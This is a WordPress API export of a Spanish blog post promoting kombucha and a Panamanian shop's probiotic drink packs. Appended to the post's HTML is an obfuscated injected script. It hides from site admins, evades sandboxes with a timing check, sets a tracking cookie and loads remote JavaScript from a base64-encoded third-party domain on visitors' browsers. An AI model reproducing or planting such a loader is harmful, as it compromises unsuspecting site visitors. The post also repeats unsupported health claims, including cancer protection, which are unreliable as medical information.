{"id":2601,"date":"2020-03-11T16:39:12","date_gmt":"2020-03-11T21:39:12","guid":{"rendered":"https:\/\/pranama.life\/?p=2601"},"modified":"2026-03-18T06:28:50","modified_gmt":"2026-03-18T11:28:50","slug":"que-es-kombucha","status":"publish","type":"post","link":"https:\/\/pranama.life\/es\/que-es-kombucha\/","title":{"rendered":"\u00bfEs Kombucha realmente tan buena para m\u00ed?"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-3 fusion-parallax-none hundred-percent-fullwidth non-hundred-percent-height-scrolling lazyload\" style=\"background-color: rgba(255,255,255,0);background-image:inherit;background-image:linear-gradient(0deg, rgba(211,104,249,0.66) 0%,rgba(255,255,255,0) 79%),url(https:\/\/pranama.life\/wp-content\/uploads\/2019\/08\/header-new-min.png);background-position: center top;background-repeat: no-repeat;padding-top:0px;padding-bottom:0px;margin-bottom: 0px;margin-top: -130px;border-width: 0px 0px 0px 0px;border-color:#eae9e9;border-style:solid;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;\"  data-bg-image=\"url(&quot;https:\/\/pranama.life\/wp-content\/uploads\/2019\/08\/header-new-min.png&quot;)\"><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-3 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"margin-top:0px;margin-bottom:0px;\"><div class=\"fusion-column-wrapper fusion-flex-column-wrapper-legacy\" style=\"background-position:center center;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div class=\"fusion-clearfix\"><\/div><\/div><\/div><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-4 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first 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class=\"section-separator-shortcode-divider-svg\"><path class=\"st0\" d=\"M0 182.086h1024V41.593c-28.058-21.504-60.109-37.581-97.075-37.581-112.845 0-198.144 93.798-289.792 93.798S437.658 6.777 351.846 6.777s-142.234 82.125-238.49 82.125c-63.078 0-75.776-31.744-113.357-53.658L0 182.086z\"\/>\n\t\t\t\t\t\t\t\t\t<path class=\"st1\" d=\"M1024 181.062v-75.878c-39.731 15.872-80.794 27.341-117.658 25.805-110.387-4.506-191.795-109.773-325.53-116.224-109.158-5.12-344.166 120.115-429.466 166.298H1024v-.001z\"\/>\n\t\t\t\t\t\t\t\t\t<path class=\"st2\" d=\"M0 182.086h1024V90.028C966.451 59.103 907.059 16.3 824.115 15.071 690.278 13.023 665.19 102.93 482.099 102.93S202.138-1.62 74.24.019C46.49.326 21.811 4.217 0 9.849v172.237z\"\/>\n\t\t\t\t\t\t\t\t\t<path class=\"st3\" d=\"M0 182.086h1024V80.505c-37.171 19.558-80.691 35.328-139.571 36.25-151.142 2.355-141.619-28.57-298.496-29.184s-138.854 47.002-305.459 43.725C132.813 128.428 91.238 44.563 0 28.179v153.907z\"\/>\n\t\t\t\t\t\t\t\t\t<path class=\"st4\" d=\"M0 182.086h1024v-77.312c-49.05 20.07-120.525 42.394-193.229 42.086-128.922-.512-159.846-72.294-255.795-72.294-89.088 0-134.656 80.179-245.043 82.022S169.063 99.346 49.971 97.401C32.768 97.094 16.077 99.244 0 103.135v78.951z\"\/>\n\t\t\t\t\t\t\t\t<\/svg><\/div><div class=\"fusion-section-separator-spacer\"><div class=\"fusion-section-separator-spacer-height\" style=\"padding-top:17.7734375%;\"><\/div><\/div><\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-4 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;margin-bottom: 0px;margin-top: 0px;border-width: 0px 0px 0px 0px;border-color:#eae9e9;border-style:solid;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-5 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"margin-top:0px;margin-bottom:0px;\"><div class=\"fusion-column-wrapper fusion-flex-column-wrapper-legacy\" style=\"background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;\"><div class=\"fusion-text fusion-text-2\"><h1 style=\"text-align: center;\"><span class=\" fusion-imageframe imageframe-none imageframe-2 hover-type-none\"><img decoding=\"async\" width=\"2560\" height=\"1707\" title=\"kombucha zanahoria-min\" data-src=\"https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-scaled.jpg\" class=\"img-responsive wp-image-2606 lazyload\" data-srcset=\"https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-200x133.jpg 200w, https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-400x267.jpg 400w, https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-600x400.jpg 600w, https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-800x533.jpg 800w, https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-1200x800.jpg 1200w, https:\/\/pranama.life\/wp-content\/uploads\/2020\/03\/kombucha-zanahoria-min-1-scaled.jpg 2560w\" data-sizes=\"(max-width: 800px) 100vw, 1200px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 2560px; --smush-placeholder-aspect-ratio: 2560\/1707;\" \/><\/span><\/h1>\n<h1 style=\"text-align: center;\"><span style=\"color: #084974;\">\u00bfQue tan buena es la Kombucha para m\u00ed?<\/span><\/h1>\n<hr \/>\n<p><span style=\"font-weight: 400;\">\u00daltimamente se ha visto el incremento en la popularidad de esta bebida. Algunos dicen que la consumen por el sabor y la efervescencia, y otros dicen que por los beneficios de la salud. Lo cierto es que la Kombucha es popular por ambos aspectos: el sabor y los beneficios. En cuanto al sabor, existe una gran variedad de sabores en el mercado, dependiendo de la compa\u00f1\u00eda. En cambio en cuanto a beneficios, todas brindan los mismos, principalmente por los probi\u00f3ticos vivos. Ahora, \u00bfQu\u00e9 tan beneficiosa es esta bebida? A continuaci\u00f3n les explicaremos m\u00e1s a detalle sobre este popular y moderno refresco.<\/span><\/p>\n<h3><span style=\"font-weight: 400; color: #d04a27;\">\u00bfQu\u00e9 es la Kombucha?<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u00bfTe gusta tu t\u00e9 con az\u00facar o crema? \u00bfQue tal con bact\u00e9rias? El Kombucha es un menjunje de t\u00e9, az\u00facar y probi\u00f3ticos vivos que muchas personas consumen hoy en d\u00eda. Los amantes de este t\u00e9 fermentado aclaman que provee beneficios para la salud como <\/span><b>mejor digesti\u00f3n, menos estr\u00e9s y m\u00e1s energ\u00eda<\/b><span style=\"font-weight: 400;\">.<\/span><\/p>\n<h3><span style=\"font-weight: 400; color: #d04a27;\">\u00bfQu\u00e9 tiene de especial?<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Aunque esta bebida est\u00e1 siendo una tendencia en estos tiempos, realmente se cre\u00f3 en la antig\u00fcedad. El t\u00e9 se remonta 2000 a\u00f1os atr\u00e1s en la China Antigua, donde era regularmente consumida para remediar enfermedades inflamatorias como la artritis y se pensaba que proteg\u00eda del c\u00e1ncer. Recientemente, los entusiastas del Kombucha lo han usado como remedio casero para acne, fatiga, hipertensi\u00f3n, dolores de cabeza y estre\u00f1imiento.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Cuando hablamos de Kombucha o cualquier bebida o alimento fermentado, tambi\u00e9n hablamos de probi\u00f3ticos. Los probi\u00f3ticos son bacterias vivas beneficiosas para el cuerpo. Mantienen nuestro intestino saludable y ayudan a mejorar nuestro sistema digestivo. Una <\/span><b>buena digesti\u00f3n<\/b><span style=\"font-weight: 400;\"> nos permite <\/span><b>aliviar el cuerpo del estr\u00e9s<\/b><span style=\"font-weight: 400;\"> que provoca procesar alimentos complejos y mejora la absorci\u00f3n de los nutrientes; esto tiene un impacto directo en nuestros sistemas inmune y nervioso, ayuda a mantener el organismo saludable, e inclusive apoya en el tratamiento de ciertas condiciones m\u00e9dicas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">En este sentido, muchas personas concuerdan que esta bebida nos puede dar varios y buenos beneficios a nuestra salud. Es por esta raz\u00f3n que en Pranama nos motiva ofrecer este tipo de bebida y otros alimentos y bebidas fermentadas. Ya que estamos hablando de bacterias vivas, somos sumamente cuidadosos al momento de prepararlo, proporcionando la mejor calidad con productos locales y agua filtrada. Queremos que muchas familias en Panam\u00e1 conozcan cada vez m\u00e1s esta bebida y sus beneficios. Por esta raz\u00f3n, ofrecemos la opci\u00f3n de comprarnos directamente para recoger en nuestro local o con opci\u00f3n a domicilio en presentaciones de <a href=\"https:\/\/pranama.life\/shop\/six-pack-probiotics-drinks\/\">Six Pack<\/a> o <a href=\"https:\/\/pranama.life\/shop\/12-pack-probiotics-drinks\/\">12 Pack<\/a>.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A continuaci\u00f3n les dejaremos unos art\u00edculos sobre la kombucha:<\/span><\/p>\n<p><a href=\"https:\/\/www.sciencedirect.com\/science\/article\/pii\/S1047279718307385\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/www.sciencedirect.com<\/a><\/p>\n<p><a href=\"https:\/\/www.researchgate.net\/profile\/Joselina_Huerta\/publication\/323136183_A_review_on_health_benefits_of_kombucha_nutritional_compounds_and_metabolites\/links\/5cf99170299bf13a384327a5\/A-review-on-health-benefits-of-kombucha-nutritional-compounds-and-metabolites.pdf\">https:\/\/www.researchgate.net<\/a><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"","protected":false},"author":132,"featured_media":2606,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2601","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sin-categoria"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Kombucha, Is it really that good for me? - What is Kombucha?<\/title>\n<meta name=\"description\" content=\"Lately the popularity of this drink has been increasing. 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